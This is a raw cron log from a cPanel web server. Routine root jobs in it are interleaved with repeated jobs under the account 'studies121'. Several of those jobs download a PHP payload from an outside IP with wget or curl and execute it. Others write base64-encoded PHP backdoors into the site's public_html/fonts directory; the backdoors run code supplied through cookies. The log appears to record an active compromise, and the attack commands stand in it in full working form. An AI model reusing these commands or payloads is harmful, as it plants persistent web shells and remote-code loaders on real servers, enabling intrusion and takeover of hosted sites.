Feb 23 01:59:01 ip-184-168-122-23 CROND[31008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31407]: (root) CMD (/usr/local/cpanel/bin/backup)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:00:01 ip-184-168-122-23 CROND[31416]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:00:01 ip-184-168-122-23 CROND[31426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:00:01 ip-184-168-122-23 CROND[31427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:01:01 ip-184-168-122-23 CROND[31799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:01:01 ip-184-168-122-23 CROND[31801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:01:01 ip-184-168-122-23 CROND[31800]: (root) CMD (run-parts /etc/cron.hourly)
Feb 23 02:01:01 ip-184-168-122-23 CROND[31807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 02:01:01 ip-184-168-122-23 CROND[31809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31800]: starting 0anacron
Feb 23 02:01:01 ip-184-168-122-23 CROND[31810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:01:01 ip-184-168-122-23 anacron[31819]: Anacron started on 2026-02-23
Feb 23 02:01:01 ip-184-168-122-23 anacron[31819]: Normal exit (0 jobs run)
Feb 23 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31822]: finished 0anacron
Feb 23 02:02:01 ip-184-168-122-23 CROND[32178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:02:02 ip-184-168-122-23 CROND[32181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:02:02 ip-184-168-122-23 CROND[32180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:02:02 ip-184-168-122-23 CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:02:02 ip-184-168-122-23 CROND[32185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:03:01 ip-184-168-122-23 CROND[32512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:03:01 ip-184-168-122-23 CROND[32513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:03:01 ip-184-168-122-23 CROND[32515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:03:01 ip-184-168-122-23 CROND[32518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:04:01 ip-184-168-122-23 CROND[405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:04:01 ip-184-168-122-23 CROND[407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:04:01 ip-184-168-122-23 CROND[408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:04:01 ip-184-168-122-23 CROND[409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:04:01 ip-184-168-122-23 CROND[410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:05:01 ip-184-168-122-23 CROND[766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:05:01 ip-184-168-122-23 CROND[769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:05:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:05:01 ip-184-168-122-23 CROND[772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:05:01 ip-184-168-122-23 CROND[774]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 02:05:01 ip-184-168-122-23 CROND[776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:05:01 ip-184-168-122-23 CROND[773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:06:01 ip-184-168-122-23 CROND[1123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:06:01 ip-184-168-122-23 CROND[1122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:06:01 ip-184-168-122-23 CROND[1128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:06:01 ip-184-168-122-23 CROND[1129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:06:01 ip-184-168-122-23 CROND[1125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:07:01 ip-184-168-122-23 CROND[1468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:07:01 ip-184-168-122-23 CROND[1470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:07:01 ip-184-168-122-23 CROND[1469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:07:01 ip-184-168-122-23 CROND[1471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:08:01 ip-184-168-122-23 CROND[1784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:08:01 ip-184-168-122-23 CROND[1786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:08:01 ip-184-168-122-23 CROND[1802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:08:01 ip-184-168-122-23 CROND[1803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:08:01 ip-184-168-122-23 CROND[1801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:09:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:09:01 ip-184-168-122-23 CROND[2138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:09:01 ip-184-168-122-23 CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 02:09:01 ip-184-168-122-23 CROND[2142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:09:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:10:01 ip-184-168-122-23 CROND[2549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:10:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:11:01 ip-184-168-122-23 CROND[2917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:11:01 ip-184-168-122-23 CROND[2918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:11:01 ip-184-168-122-23 CROND[2920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
